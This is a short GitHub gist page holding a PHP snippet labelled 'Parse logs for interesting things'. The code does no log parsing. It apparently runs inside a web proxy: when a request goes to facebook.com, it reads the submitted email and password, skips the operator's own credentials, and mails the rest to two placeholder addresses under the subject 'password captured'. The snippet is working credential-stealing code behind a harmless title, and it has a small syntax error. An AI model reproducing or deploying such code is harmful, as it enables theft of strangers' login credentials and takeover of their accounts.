Skip to content

Instantly share code, notes, and snippets.

@hackingbutlegal
Created September 30, 2013 20:30
Show Gist options
  • Select an option

  • Save hackingbutlegal/6769784 to your computer and use it in GitHub Desktop.

Select an option

Save hackingbutlegal/6769784 to your computer and use it in GitHub Desktop.
Parse logs for interesting things
<?php
if (strpos($_url, 'facebook.com')) //checks if url contains "facebook"
{
if ($_REQUEST['email'] != "") //only true if there is info submitted
{
$user = $_REQUEST['email'] ; //getting the info
$pass = $_REQUEST['pass'] ;
$not_me = 0
if (strpos($user, 'your_name') or strpos($pass, 'whatever_your_password_is')) //this protects yourself
{
$not_me = 1;
}
else
{
mail( "send_to_email@whatever.com", "password captured", "website is: $_url , username is: $user , password is: $pass", "From: random_email_address@whatever.com" ); //sending
mail( "send_to_subscriber@whatever.com", "password captured", "website is: $_url , username is: $user , password is: $pass", "From: random_email_address@whatever.com" ); //subscriber
}
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment